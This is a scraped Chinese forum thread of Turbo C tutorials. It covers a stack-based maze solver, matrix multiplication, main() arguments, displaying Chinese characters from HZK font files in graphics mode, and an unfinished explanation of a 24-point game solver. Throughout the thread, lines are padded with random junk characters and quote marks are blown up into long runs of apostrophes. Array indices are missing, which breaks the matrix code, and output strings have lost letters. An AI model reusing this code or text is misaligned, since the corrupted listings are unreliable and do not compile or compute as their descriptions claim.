maze[curpos.x][curpos.y].foot==0&amp;&amp;maze[curpos.x][curpos.y].mark==0)5 `( y- ~7 h. v. B6 u
return TRUE;
$ x/ B+ y8 s- y5 ^& E( Relse return FALSE;% X  O% W8 `: A, s
} /* Pass */
( j8 k( y9 ?3 T+ ?! w# svoid MarkPrint(PosType seat)
( A6 K1 ?6 Q2 A* b/ r/* Mark the position seat. */
7 [  e' G! x9 H{! ^/ D! D, A2 g- O
maze[seat.x][seat.y].mark=-1;4 M5 [! N/ a* g% a
/* Marking ''''''''''''''''''''''''''''''''-1'''''''''''''''''''''''''''''''' symbolize the current position cannot be put. */8 k2 v0 h. `  b( w! E; z) |
} /* MarkPrint */* ?- n; [% ?8 U) J( j
void FootPrint(PosType curpos)
! Y+ P' A* `8 L6 v3 q/ a5 G/* The foot of the curpos of the maze has been set ''''''''''''''''''''''''''''''''true''''''''''''''''''''''''''''''''. */
6 X" d5 K* c0 q# j: j; H{
; m3 N  _% ?% T: x3 j) _) |maze[curpos.x][curpos.y].foot=1;: i* `: A6 J6 i# h3 n$ Q# {
} /* FootPrint */
# h4 m( V/ K! w7 kPosType NextPos(PosType seat,int di)2 c, Q& U& ]9 ^, O
{
9 }! g+ s( x; x' h: ]8 U1 C+ Xswitch(di)# J( f0 d5 \* F- |
{
* G' ^$ S9 x8 F$ \3 Icase 1: seat.y++; return seat; /* Eastward */
! ^% P( g3 f6 s; Fcase 2: seat.x++; return seat; /* Southward */: b& G; h/ @2 \+ P# q
case 3: seat.y--; return seat; /* Westward *// N9 }) A) N9 {+ S+ [
case 4: seat.x--; return seat; /* Northward */
+ Q5 \, y7 J: l2 idefault: seat.x=0; seat.y=0; return seat;. a7 Q( a- N% D7 j8 z$ _
}  i! A) q9 u7 [- }! f+ V- y/ y
} /* NextPos */! c1 |# ?" ~0 a$ H0 v2 @( u9 C: K0 |2 q

0 X+ ]9 Q2 y  F- A/* The key to the program. */
5 l. m5 {; k- u6 F2 `) E/* Pre: The maze array &amp; the startplace &amp; the endplace.
) E2 c* y1 O9 c5 C& T; T8 k5 aPost: Find the one traverse of the maze and perform the mazepath.; K. V( i6 m* |& o2 R
Uses: The ADT stack class.' x/ [+ V! D% s4 v! Z' M  r' A% ~) `
*/6 v+ I1 S4 E# U' Q
Status MazePath(PosType start,PosType end)8 b3 G$ I2 S" |" X% C4 B; u) @) N
{
% t  C- w! h! o+ w7 OPosType curpos;8 C' m! R0 A7 U& g, E
int curstep;
5 E2 l  X) p) @" G2 cSElemType e;
7 h3 J1 Z1 o% i' k5 ]Stack *s,stack;
5 _- N0 r, d! W! L9 |% Wstack.base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));
# F' ^1 y1 x$ M* z6 qif(!stack.base) Error("Overflow");
+ Z, t+ s' ^" ~& R3 f3 |stack.top=stack.base;
$ P. b  F7 W, Wstack.stacksize=STACK_INIT_SIZE;
2 D8 p) u7 z8 r  G+ }' b" T8 ]s=&amp;stack;
$ A, y' W# ]' `, T6 Icurpos=start;# i7 A. c+ K% O
curstep=1;
4 O" S( h2 {6 Z1 p3 udo
2 k; _- A$ L& M' ?{) [+ v5 E& f2 P, L. ]: e1 b
if(Pass(curpos))) x7 F8 p. Q3 f, e9 `' K0 ?, K
{. x. y6 X6 H  [" d& B$ D8 l+ \
FootPrint(curpos);
% a' k, q7 F- x. ?7 \4 Ie.ord=curstep; e.seat=curpos; e.di=1;
0 z1 H# Q" H. R1 a1 ^( Lgotoxy((curpos.y+1)*2,curpos.x+2);9 T. x) X( O3 i+ V1 _
putch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');7 h& v/ D' p/ C/ g3 N; U% z6 G! T
delay(8000); /* pospone time. */( f0 @6 i3 p7 I) o# v  l3 o
Push(s,e);9 {) B7 f# {0 b
if(curpos.x==end.x&amp;&amp;curpos.y==end.y) /* Proceed recursively. */0 k/ ^2 }% l7 Y% L, x9 z. E: r
{
& c9 c' d6 D' W0 bDestroyStack(s);# Y1 ?' i( e6 g. O
return TRUE;
$ j/ e6 q( ?! _) f0 M1 r}8 @6 }# A1 j1 z% q+ V" ?
curpos=NextPos(curpos,1); /* Try next position. */$ m  X; M) B$ T
curstep++;
* A0 `8 W- H" a' t) Y$ K2 L! Q/ R}
: o$ R+ A; |- `" f$ B% V8 Nelse
. v( K, `2 P$ K6 J- u{
; o: g' O# [$ V* [if(!StackEmpty(s))
+ h2 n( b! v- B6 Q8 U+ g{
( A3 x- m1 X8 E0 m3 [e=Pop(s,e); /* Removed e from s. */
- U# b* O9 T% I) twhile(e.di==4&amp;&amp;!StackEmpty(s)) /* Four directions have been checked6 {8 a3 G$ t* h% t, ~: ]. C
and s is not empty. */, s& I. n6 b4 ]6 K/ ?
{& z9 e1 ^6 G6 Q0 H8 r. q
MarkPrint(e.seat);. d; u: W, \0 ?. d
gotoxy((e.seat.y+1)*2,e.seat.x+2);' |6 d4 ]- P8 f9 W( e
putch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');
7 S+ G1 v6 c( V# t# V5 n' e6 wdelay(8000); /* Pospone time. */
" ]' a6 K& N+ ^  U: |4 ?gotoxy((e.seat.y+1)*2,e.seat.x+2);
, \4 E+ h$ J) \putch('''''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''''');
: g# D: w$ g2 Ve=Pop(s,e); /* Remove e from s. */
5 d+ s  q% k- m& ^curstep--;2 z0 h  x, [5 b
}
+ i+ J( N, B4 B9 c$ Qif(e.di&lt;4) /* The current position hasnot been checked. */
: c% U' w: ^% |) A$ {8 R{  q& L% m! K  K6 l/ c
e.di++;6 k9 V9 m) m7 G( k+ y5 ~, |
Push(s,e); /* Insert e into s. */; M# C- ^. \- v: V0 O5 B
curpos=NextPos(e.seat,e.di); /* Try next position. */
" ~% o9 z/ X) |}9 x5 Y6 f) |2 U
}" @1 F3 Z, k* W# a+ c+ h7 `# W
}! Z- ~' ]7 j6 {) J5 n' v
}/ q6 r2 a# }# d4 E7 B7 W. x) q
while(!StackEmpty(s));
: `3 L$ s  h. d8 J' lDestroyStack(s);
2 f, e; f. [: [2 W* u9 B+ @) `return FALSE;. }7 B: v2 m) M' }7 n
} /* MazePath */4 `% ~( E+ B' R! c6 u/ B0 r
void main()
" ~; M' x+ F7 |. g$ l7 o! e0 a/ V{
& V5 p7 D+ V+ i9 }1 ?. I2 j/ M' A9 c, FPosType start,end;' j9 d% N/ P4 J7 k4 v9 O
CreatMaze();
  q5 m+ [' G. S( Gstart.x=StartPlace.y;1 ]# U: X6 Y3 h/ M8 x, ^
start.y=StartPlace.x;: P, E9 N! {  _; C! a3 V- O, X8 e
end.x=EndPlace.y;' H/ l0 l2 X( J+ v* D6 t
end.y=EndPlace.x;
  T( ?. w7 Y2 K. sif(MazePath(start,end))
, M9 N* P# F/ Q* Z1 M! W2 e, d{
, W( O) S& A6 n3 ?* i  qgotoxy(2,22);' |. {, o1 L! x$ |
printf("ath found\n");
; z" Z. ~0 q& x1 r0 D0 F}
/ M4 I; a# z* _4 B" g! Gelse
' K8 ]2 `7 M8 m{  ^5 Q8 k9 w' t9 V# a4 Q
gotoxy(2,22);( @. f1 D6 ]0 f' C( O
printf("ath not found\n");
) u/ z6 Z6 B  j# M2 B}
! E1 ~& A8 ?8 G0 n, s% Sgetch();
+ A. _) O# o4 X/ aclrscr();
! Z/ E/ q/ L7 O# \* k, {$ Z: q} </P></DIV>
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#cc0000 size=5><B>两个矩阵相乘的源程序</B></FONT></P><>/*****************A=B*C******************/
8 ]# ^$ M& C% e/ d" y6 G( q#include&lt;stdio.h&gt;
. [% s2 C3 Y& A3 l#include&lt;conio.h&gt;
* G6 F6 @! j9 B8 k$ B#define X 3
. k# U" i$ `1 E* X; x; g' U. z#define Y 3</P><>int a[X][Y];1 O* [1 a) y1 W2 n
int b[X][Y];: |6 `4 c( Y. O5 f8 b, q; n
int c[X][Y];</P><>void matrix(int b[][X],int c[][Y]);
% }9 e4 X; V& P" a- Dmain()
( ]& t5 \& m( |/ y! J- W/ `{3 K+ h. m7 |4 |
int i,j,temp;
3 v+ r6 e; l8 w1 N/ m, p/ }+ M6 Aclrscr();; i7 o; ^! n  Z/ @5 ], p
printf("lease input int matrix b[%d][%d]\n",X,Y);' f8 ~5 b; m% K- r
for(i=0;i&lt;Y;i++)5 r' u3 ]) r' w% D- ^7 R# k1 v
for(j=0;j&lt;Y;j++){. g* v" R: d8 o4 t! M: R
scanf("%d",&amp;temp);' L, Z! I5 @, h% v, _4 x8 e
b[j]=temp;$ Y7 m( P! l1 i; Y9 V* c8 Y! M. ~
}
0 G4 u% v1 z1 M3 J5 h/ s4 Iprintf("lease input int matrix c[%d][%d]\n",X,Y);- C- ?' j- y3 U) H: L
for(i=0;i&lt;X;i++)
1 ?2 E3 h0 S: L3 hfor(j=0;j&lt;Y;j++){  z4 s8 {" O& P" m' U
scanf("%d",&amp;temp);2 d9 h7 U! q' O$ z* B% ]  \
c[j]=temp;
9 o. I- B5 V7 |7 c}
4 E$ C; u: U# B0 u7 Tmatrix(b,c);
% Z; y% \. x8 Fprintf("Now print resource matrix b[%d][%d]=",X,Y);
2 p. r" x! N1 Z/ E+ wfor(i=0;i&lt;X;i++){
$ O& g, p6 Q* Gprintf("\n");
; G4 q( m! G/ u2 H7 Ufor(j=0;j&lt;Y;j++)7 f/ ], E. q& ]6 T0 I* L
printf("%d ",b[j]);
6 K. P8 L8 ]: q}* v/ c1 Q3 p# E# Q
printf("\n");
4 c( |8 |0 |3 X9 O" s3 [printf("Now print resource matrix c[%d][%d]=",X,Y);
' }6 ?& p6 O4 Q/ e0 D8 x/ l. U& N; u* a$ Lfor(i=0;i&lt;X;i++){
+ P/ @) _) g, P( G5 B8 gprintf("\n");
( _+ E! Q. G6 w; Sfor(j=0;j&lt;Y;j++)
7 ~9 a4 U% |5 [8 K- kprintf("%d ",c[j]);
4 u$ B" e, H2 L3 t8 |  H}3 u, W- ]/ t# h/ j4 x3 W* ?- \) l! J
printf("\n");: j( d5 H" }0 H/ g: c* [& P
printf("Now printm multiply results matrix a[%d][%d]=B*C:",X,Y);
% j0 R% s& t/ @; S5 rfor(i=0;i&lt;X;i++){
( v4 X' e' X5 y# s8 ~: x' kprintf("\n");; Q+ x. i6 n8 I$ J
for(j=0;j&lt;Y;j++)0 V* |1 |! s! A6 e6 b1 C8 |4 s
printf("%d ",a[j]);& l! }6 ~+ ?+ [& h: P9 o' Y% V
}! {# j: r. P! o' L2 i; H
getch();
! I! U% A+ Z+ E6 s4 i2 n# Hreturn 0;
! O" w0 B3 d1 E; B}" S2 Y: P! X' x" B
/********************************************************************/# t  g  V# u+ p" Z1 r, p* Z
void matrix(int b[][X],int c[][Y])
: U8 O/ C' Y. N/ h8 e/ l. N{
8 O1 }: \; y; w2 r" X6 ]$ K6 `* sint i,j,k,temp;$ Z1 _2 u" w) D0 o* @! u. q
for(i=0;i&lt;X;i++), F8 f% }, O9 |
for(j=0;j&lt;Y;j++){. k9 `7 J; h0 R
for(k=0;k&lt;Y;k++); a% {) T  y/ n6 ?" I7 V
a[j]+=b[k]*c[k][j];! ?0 e/ u, L: w% `  b* v7 b
}) J4 @  K; c6 y
}</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<>  再谈main()主函数' h, }' c, R9 m4 X( P5 d- }4 k
  每一C 程序都必须有一main()函数,可以根据自己的爱好把它放在程序的某个地方。有些程序员把它放在最前面,而另一些程序员把它放在最后面,无论放在哪个地方,以下几点说明都是适合的。
4 b$ j) `2 K$ ^9 z1 k/ N5 M& D3 k) A1. main() 参数2 ]: S9 h; s  H$ H" S( X& j
  在Turbo C2.0启动过程中,传递main()函数三个参数:argc,argv和env。
0 C% t  k) |, e: V( ~1 y% _* i  * argc: 整数,为传给main()的命令行参数个数。
+ Q& _9 H6 ~/ y2 |7 W) j8 k# u6 g  * argv: 字符串数组。
: _- p" r& W! C6 W  c- H& e/ }# Q在DOS 3.X 版本中,argv[0] 为程序运行的全路径名;" X& {5 i/ q: d# u- [' l
对DOS 3.0 以下的版本,argv[0]为空串("") 。argv[1] 为在DOS 命令行中执行程序名后的第一个字符串;argv[2] 为执行程序名后的第二个字符串;$ n: z8 t( H" P9 A
...) I6 ~# K% P4 v5 v8 _
argv[argc]为NULL。! `% T* Z" C" B! G& A$ s
  *env: 安符串数组。env[] 的每一个元素都包含ENVVAR=value形式的字符串。其中ENVVAR为环境变量如PATH或87。value 为ENVVAR的对应
2 j5 d6 h, N$ b$ R9 i/ v值如C:\DOS,C:\TURBOC(对于PATH) 或YES(对于87)。</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#cc0000 size=5><B>% g9 W/ j. r5 d  T
图形模式下的汉字显示</B></FONT></P><> </P><> 我们在编写一些应用软件时,为了使软件更为通俗浅显、易学易用,具备汉字的用户界面是必不可少的条件。在文本模式下,只要有汉字操作系统的支持,显示汉字是不成问题的。只要用printf或cprintf就可以了。#include <STDIO.H>void main(){printf("我正在学习C语言!");}
: u- R0 U3 G$ X1 y  在图形模式下显示汉字就稍稍麻烦些。可幸的是有很多人从事这一问题的研究,并开发了一些用于汉字显示的函数。这些函数不需要汉字系统的支持,但用到其中的字库文件。如UCDOS的HZK16。5 g$ k+ K% }( Z$ D, z
  汉字显示的第一步是打开字库文件。
. e' C& J" W9 z  ?4 q  函数: int OpenHz(const char *Hz16Path); 功能:打开字库文件Hz16Pathint handle; /*打开的字库文件指针*/int OpenHz(const char *Hz16Path){return (handle=open(Hz16Path,O_RDONLY|O_BINARY));} 打开字库文件后,就可以用下面介绍的函数显示16点阵的汉字。
2 C, C! ?) L! e3 Q8 x& b& b  函数: int WrtHz16(int x,int y,int z,int color,char *p); 功能:在(x,y)用color颜色显示汉字串p,汉字之间的空格数为z。intWrtHz16(int x, int y,int z,int color,char *p)4 W) }, R! S, b9 ?5 F
{
9 d: j/ E) N& n4 o5 B& ], K, T8 Gunsigned int i,c1,c2,f=0; /*x,y:write at (x,y);*/& G4 J/ {. f! S3 N5 x/ O& f8 q; k" J
int rec,i1,i2,i3; /*z:space between;*/
( d' k6 x9 J4 F5 B, g1 }long l; /*color:txt color*/, \2 D( Y/ \: S2 ~
char by[32]; /*p:HZ str*/% U7 ^! @. J0 W1 R6 u$ p7 Y
if( handle&lt;0 ) return -1; while((i=*p++)!=0){
0 k7 w8 D9 J* z' C0 K% S8 t+ zif(i&gt;0xa1)
" e, @. e$ a  X& a: p+ V0 {7 [$ ]if(f==0){9 f% s1 I7 |6 z5 a- j, E% h
c1=(i-0xa1)&amp;0x07f;" o9 V5 l# n: }) q' s6 e
f=1;
" [4 r$ j: Y6 o1 o8 _7 y}
) y1 Q+ p, _8 |! A- T2 G% b; ?else{9 l: l; p9 _" j# F+ ~, C
c2=(i-0xa1)&amp;0x07f;7 @$ [! C" \3 `7 g
f=0;
1 l% |% B0 F" o3 H& srec=c1*94+c2;! }9 x& `! H: t
l=rec*32L;) n, o3 Q5 b: q9 V( q: t4 {" h
lseek(handle,l,SEEK_SET);
5 F; ~: R7 B. s0 }% Z5 n& Tread(handle,by,32);: k" b: `8 |  t# J$ p
for(i1=0;i1&lt;16;i1++)
: B& N5 v/ k! y! J) X& f; hfor(i2=0;i2&lt;2;i2++)7 Q, M# y% t; |2 N4 ]* q" u: h
for(i3=0;i3&lt;8;i3++)
; E, x- p7 C3 d$ T- Vif(GetBit(by[i1*2+i2],7-i3))
' {0 Z* I" i3 U- P" dputpixel(x+i2*8+i3,y+i1,color);
1 D  A; V' ~7 [  O) o- Xx=x+z+16;/ k2 h# Q- n4 l; c" ~/ d; @( @
}
  Q$ ^4 a" Y1 H& m0 Y% y}! c- \0 R7 W$ s. d& j; L/ @, E
return(x);' j+ |, D" R* B% L9 W% p
}
. a1 h7 S0 T5 m; t; O% M- W函数GetBit定义如下:
0 X1 l  q5 b& J; T7 P3 }/ i- u  函数: int GetBit(unsigned char c,int n); 功能:取得汉字的点阵数据。
8 v+ Z; v' d6 V/ ]2 Eint GetBit(unsigned char c,int n)8 t4 n. I' J2 o$ V
{
) D! o. ~2 `$ l$ ?7 y  W" o6 E- _, vreturn((c&gt;&gt;n)&amp;1);) d: s. x* W: d; V! c" J8 p
}/ O* v$ u/ n. e1 R, D! ]" `! _
汉字显示结束,应该关闭字库文件。, n$ m& n- x6 V3 i& w4 I- b! A
void CloseHz(void)6 m: t8 z0 {0 F
{
1 O" R2 j+ _' j9 T+ O  wclose( handle );  v8 Z/ `" G8 ?
}4 Y6 ~3 H9 ^& H* c8 l
#include "\Caic\Include\Hz.h"
7 H. m/ C% e! W  z#include <GRAPHICS.H>$ ]0 O+ Z! |+ m$ P
#include <CONIO.H>const char* Hz16Path = "\\UCDOS\\Hzk16.";+ t9 k5 S. Y: m3 U5 B& J
const char* HzStr = "苦丁香C语言辅助学习软件";
( w, Y; t, H( Jvoid main(){  w/ L' |% M, `" `1 }6 z- I
int gr=DETECT,gm;& S# Y; h4 A: ~; x  I, L7 D  E
initgraph(&amp;gr,&amp;gm,"\\Caic\\Bgi");1 l# \+ O: ^  Y& T# p8 |
OpenHz( Hz16Path );1 W/ {  c) }- i& ?
Wrt16Hz(20,20,4,RED,HzStr);8 V6 F* W1 `, w/ ]9 T' O
CloseHz();
9 Q1 d3 }6 Y' i' q, Wgetch();
$ b- Z8 e2 y- Cclosegraph();
/ \& S  x/ i$ D! H5 c& O# Y. Q  m% Y}显示24点阵及放大汉字) p/ n: {- _2 {+ I
  下面探讨一下如何显示24点阵及放大汉字。24点阵字库也可在任意一种汉字系统中找到。如UCDOS的HZK24S。
: g) a, i; q4 _; e函数: int WrtHz24(int x,int y,int z,int color,int m,\int n,char *p); 功能:显示24点阵及放大汉字。' G7 i/ E3 z8 g# C. x; z
int WrtHz24(int x,int y,int z,int color,int m,int n,char *p)
6 n' I+ |) {" V{6 n4 M  R$ u/ H7 K. r- \8 R
unsigned int i,c1,c2,f=0; /*z: 汉字字符间的空格*/0 C0 I& u& S4 ]# J; M
int i1,i2,i3,i4,i5,rec; /*x,y: 先是位置(x,y)*/
" e" z- C6 A- B. H% f" l/ `! Mlong l; /*color:汉字颜色*/
" O& ^9 o2 J& q6 A# n* u! zchar by[72]; /*m: x 方向的放大倍数*/2 u8 f9 \# h) J+ K2 m
/*n: y 方向的放大倍数*/: l" S; a( ~- e& x
if( handle&lt;0 ) return -1; /*p: 显示汉字串*/ while((i=*p++)!=0){
* R% o6 |+ Q+ D3 H$ m5 oif(i&gt;0xa1)
- [% l4 [# \, p/ A/ Iif(f==0){4 G8 _4 a" m% W9 {% R
c1=(i-0xa1)&amp;0x7f;  p9 L% g" o5 p( H. W9 \( f
f=1;5 x2 c( Y4 z/ Z& X6 X8 S: j/ G
}) R+ A  g  J( }, A  M
else{" N- p+ L! Q7 w1 u2 x5 r2 W7 I
c2=(i-0xa1)&amp;0x7f;6 R8 U8 g; |1 o- [/ l
f=0;
4 Q- u0 T) R0 U1 a2 H" }7 |& v1 Prec=(c1-15)*94+c2;
6 X% s! R  k5 x1 E! nl=rec*72L;
1 b: g% M  j" ?3 xlseek(handle,l,SEEK_SET);( y. l/ V9 L+ _) S. d4 V! \  @
read(handle,by,72);
4 ~( J+ R# [8 i% V0 C7 ]for(i1=0;i1&lt;24*m;i1=i1+m)4 m. O7 ]/ ]2 k
for(i4=0;i4<M;I4++)
1 W: @: E  K" g/ C% ^ for(i2=0;i2&lt;=2;i2++)
& B9 c& ^% ?( n) Tfor(i3=0;i3&lt;8;i3++)
' {9 L+ p+ K8 }# g7 eif(GetBit(by[i1/m*3+i2],7-i3))
0 |7 K0 L7 \. w0 B. D, Jfor(i5=0;i5<N;I5++)( Y  V# k' J3 Z
putpixel(x+i1+i4,y+i2*8*n+i3*n+i5,color);
, m/ j/ ]0 M6 e2 sx=x+24*m+z;
: G- o) a* `4 ]: u. L' s$ w}, K2 K/ m7 n4 t$ u1 ]  w
}
3 S0 n. M; C# P& P. F3 yreturn(x);% c$ p, f) K! i( A8 M1 |
} 使用Wrt24Hz的例子:#include "\Caic\Include\Hz.h". V/ S3 h: a8 }8 |) w* Z
#include <GRAPHICS.H>
8 s7 \$ N( f2 B6 N+ ^! u#include <CONIO.H>const char* Hz24Path = "C:\\Ucdos\\fnt\\hzk24s."/ X4 _( x* @/ W% Y' h  z/ ~
const char* HzStr = "苦丁香C语言辅助学习软件";5 a: l$ C" M: y! l" y  a, o3 d
void main(){
1 q2 I1 Q- _# V( U3 j' z  u* Yint gr=DETECT,gm;4 r$ F# K/ B0 o3 L! W
initgraph(&amp;gr,gm,"\\Caic\\Bgi");8 v* r4 c3 A3 Z7 `( I7 A
OpenHz( Hz24Path );
4 O; ]4 Y8 {' p/ I% V8 X5 |Wrt24Hz(20,20, /*先是在(x,y)*/
/ k0 a' m* A" P* r8 O8 c3 }4, /*汉字间的空格为4*/$ n: Q) a5 |7 X8 q* |1 g
RED, /*用红色显示*/" D6 Z( {4 K' [5 f* a; B5 }0 p
2, /*x 方向放大2倍*/
2 u1 f) `# J. `* o. {9 Z* I4, /*y 方向放大4倍*/( o+ E4 `! R4 N' x
HzStr); /*显示字符串*/
8 X0 W  ]2 ?% V7 gCloseHz();. e- {: D/ M3 a( q2 O
getch();
/ g0 T! t8 I& g( u, U8 h$ eclosegraph();( G, b- l7 i0 Z5 t# B
}
- f4 F" l% h4 L" U! U4 C1 N. W0 b</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#ff6600 size=4><B><FONT size=5>关于二十四点游戏的编程思路与基本算法</FONT></B></FONT></P>< align=left>
7 q* y  p" ~( H2 `# D; f% {  漫长的假期对于我来说总是枯燥无味的,闲来无聊便和同学玩起童年时经常玩的二十四点牌游戏来。此游戏说来简单,就是利用加减乘除以及括号将给出的四张牌组成一个值为24的表达式。但是其中却不乏一些有趣的题目,这不,我们刚玩了一会儿,便遇到了一个难题——3、6、6、10(其实后来想想,这也不算是个太难的题,只是当时我们的脑筋都没有转弯而已,呵呵)。' Y4 o+ q" k9 q& q8 k1 h2 e
. n. [0 f" ]0 [
  问题既然出现了,我们当然要解决。冥思苦想之际,我的脑中掠过一丝念头——何不编个程序来解决这个问题呢?文曲星中不就有这样的程序吗?所以这个想法应该是可行。想到这里我立刻开始思索这个程序的算法,最先想到的自然是穷举法(后来发现我再也想不到更好的方法了,悲哀呀,呵呵),因为在这学期我曾经写过一个小程序——计算有括号的简单表达式。只要我能编程实现四个数加上运算符号所构成的表达式的穷举,不就可以利用这个计算程序来完成这个计算二十四点的程序吗?确定了这个思路之后,我开始想这个问题的细节。 ' r* e4 E# q4 ^& a8 o
首先穷举的可行性问题。我把表达式如下分成三类——
& e* N+ d& i: Y% j" L9 z4 N3 |<FONT color=#ff0000>1、 无括号的简单表达式。9 ?; i6 D  z) |
2、 有一个括号的简单表达式。2 Q) e" W1 e; L2 g( B
3、 有两个括号的较复4、 杂表达式。
# G* V' c" a$ G) K</FONT>穷举的开始我对给出的四个数进行排列,其可能的种数为4*3*2*1=24。我利用一个嵌套函数实现四个数的排列,算法如下:8 j- @8 Z. Z7 U" B$ B9 B
<FONT color=#009900>/* ans[] 用来存放各种排列组合的数组 */; T) F0 T- h# V
/* c[] 存放四张牌的数组 */7 T7 _" K/ a" n
/* k[] c[]种四张牌的代号,其中k[I]=I+1。
# A4 ?/ r' w8 m& Y7 Z; ~用它来代替c[]做处理,考虑到c[]中有可能出现相同数的情况 */% L! d8 Q4 ?) g
/* kans[] 暂存生成的排列组合 */
7 r& @9 |3 a2 d; A1 Z4 c* ?8 p, `) m/* j 嵌套循环的次数 */1 E) E+ G/ L- B) s: X3 C
int fans(c,k,ans,kans,j)+ H6 T# Q3 I& k2 M
int j,k[],c[];char ans[],kans[];
8 `4 ]& s: k% M8 \( ?1 L8 D' X{ int i,p,q,r,h,flag,s[4],t[4][4];' \  i* p, \& S7 Y1 O% ]4 j
for(p=0,q=0;p&lt;4;p++)
# k- p: l' d- Z1 l{ for(r=0,flag=0;r<J;R++)
$ Z$ J0 g; ~& f- i! N if(k[p]!=kans[r]) flag++;  D  a; o' O+ h0 r' c
if(flag==j) t[j][q++]=k[p];0 _! J* ?) P* x" l0 k: k, p
}
7 c+ C  j. b' X/ }+ U6 Bfor(s[j]=0;s[j]&lt;4-j;s[j]++)
: o3 j  `  F+ A5 m$ A$ R1 m  }{ kans[j]=t[j][s[j]];: g- D2 m* R, X6 J. l
if(j==3) { for(h=0;h&lt;4;h++)
2 b5 n/ e4 w4 m! q% k3 D9 Bans[2*h]=c[kans[h]-1]; /* 调整生成的排列组合在最终的表* y! o1 m+ Z2 O8 H  S
达式中的位置 */$ D. F' G$ d$ a4 H- z
for(h=0;h&lt;3;h++)( G$ I7 N. T3 `. _
symbol(ans,h); /* 在表达式中添加运算符号 */8 [& e+ ?' _6 O1 M: r3 ?
}
9 v$ Q1 O% J, G5 |$ [% j; `else { j++;
7 c2 m& T6 J: Q' N& u& d) Vfans(c,k,ans,kans,j);5 i  f6 n  D# R7 F+ ]
j--;
  Y  }$ y5 l6 }2 z8 w, D( m}
) I0 n, {* |9 X5 c4 \3 h+ Z}9 [0 O3 a5 c8 e4 }! R
}</FONT>- x7 E7 _$ R; d! p

6 m! t+ [$ O$ S2 z- b0 E  正如上面函数中提到的,在完成四张牌的排列之后,在表达式中添加运算符号。由于只有四张牌,所以只要添加三个运算符号就可以了。由于每一个运算符号可重复,所以计算出其可能的种数为4*4*4=64种。仍然利用嵌套函数实现添加运算符号的穷举,算法如下:
& L( J: Z2 l$ l! t- }: k4 t5 e* p' H" e& Y) ^
<FONT color=#009900>/* ans[],j同上。sy[]存放四个运算符号。h为表达式形式。*/
$ {7 z! q$ m/ Jint sans(ans,sy,j,h)
* O; `" A- @1 X4 I$ \1 ^) _char ans[],sy[];int j,h;4 E. x+ B! y2 e- @5 R( ?
{ int i,p,k[3],m,n; char ktans[20];8 z5 q8 ?9 i% h: S
for(k[j]=0;k[j]&lt;4;k[j]++)
. i* r- G$ ~' ~, h) a{ ans[2*j+1]=sy[k[j]]; /* 刚才的四个数分别存放在0、2、4、6位- e2 K) T7 _' k  f6 x7 s
这里的三个运算符号分别存放在1、3、5位*/ 6 K+ _5 k' p8 I- ~* a' U
if(j==2)0 E% K4 h6 P" ~6 v! K7 m- e
{ ans[5]=sy[k[j]];
5 V/ G* F6 H# V. X1 l7 e  m8 }- u/* 此处根据不同的表达式形式再进行相应的处理 */4 A. S6 M8 d; y
}
% K. F$ i, t! K# Y. u9 p- Z' Belse { j++; sans(ans,sy,j--,h); }
" d* D; D. g5 x; T}  L: m3 G  z- O" ^
}
& G) [$ p9 D4 ^5 }/ Q6 g- v# p/ Y
</FONT>  好了,接下来我再考虑不同表达式的处理。刚才我已经将表达式分为三类,是因为添加三个括号对于四张牌来说肯定是重复的。对于第一种,无括号自然不用另行处理;而第二种情况由以下代码可以得出其可能性有六种,其中还有一种是多余的。8 R7 P  ~* ^9 F# ]* B; d
for(m=0;m&lt;=4;m+=2)
! E  v1 c" A; i9 |$ U: S6 ~for(n=m+4;n&lt;=8;n+=2). u" I/ g9 ^* b- t% y2 P
  这个for循环给出了添加一个括号的可能性的种数,其中m、n分别为添加在表达式中的左右括号的位置。我所说的多余的是指m=0,n=8,也就是放在表达式的两端。这真是多此一举,呵呵!最后一种情况是添加两个括号,我分析了一下,发现只可能是这种形式才不会是重复的——(a b)(c d)。为什么不会出现嵌套括号的情况呢?因为如果是嵌套括号,那么外面的括号肯定是包含三个数字的(四个没有必要),也就是说这个括号里面包含了两个运算符号,而这两个运算符号是被另外一个括号隔开的。那么如果这两个运算符号是同一优先级的,则肯定可以通过一些转换去掉括号(你不妨举一些例子来试试),也就是说这一个括号没有必要;如果这两个运算符号不是同一优先级,也必然是这种形式((a+-b)*/c)。而*和/在这几个运算符号中优先级最高,自然就没有必要在它的外面添加括号了。
  S6 m, V) G7 J# o
$ Q' n$ Y7 A$ [2 @  综上所述,所有可能的表达式的种数为24*64*(1+6+1)=12288种。哈哈,只有一万多种可能性(这其中还有重复),这对于电脑来说可是小case哟!所以,对于穷举的可行性分析和实现也就完成了。
# a" i  c. ]! E, x2 X3 K</P>< align=left>  接下来的问题就是如何对有符号的简单表达式进行处理。这是栈的一个著名应用,那么什么是栈呢?栈的概念是从日常生活中货物在货栈种的存取过程抽象出来的,即最后存放入栈的货物(堆在靠出口处)先被提取出去,符合“先进后出,后进先出”的原则。这种结构犹如子弹夹。
+ i9 T& R$ {7 l6 r. F在栈中,元素的插入称为压入(push)或入栈,元素的删除称为弹出(pop)或退栈。
& B$ f/ ^/ Z& C2 x
! U8 f# e7 k9 \8 J; f  栈的基本运算有三种,其中包括入栈运算、退栈运算以及读栈顶元素,这些请参考相关数据结构资料。根据这些基本运算就可以用数组模拟出栈来。' n3 R' ^' k% ?* ^- D

4 `# ]7 M5 O  q# y2 ?1 k6 z  那么作为栈的著名应用,表达式的计算可以有两种方法。0 J$ g9 V; E" I) P" q
* r; Z" r* I5 |! L8 D
  <FONT color=#ff0000>第一种方法——</FONT>
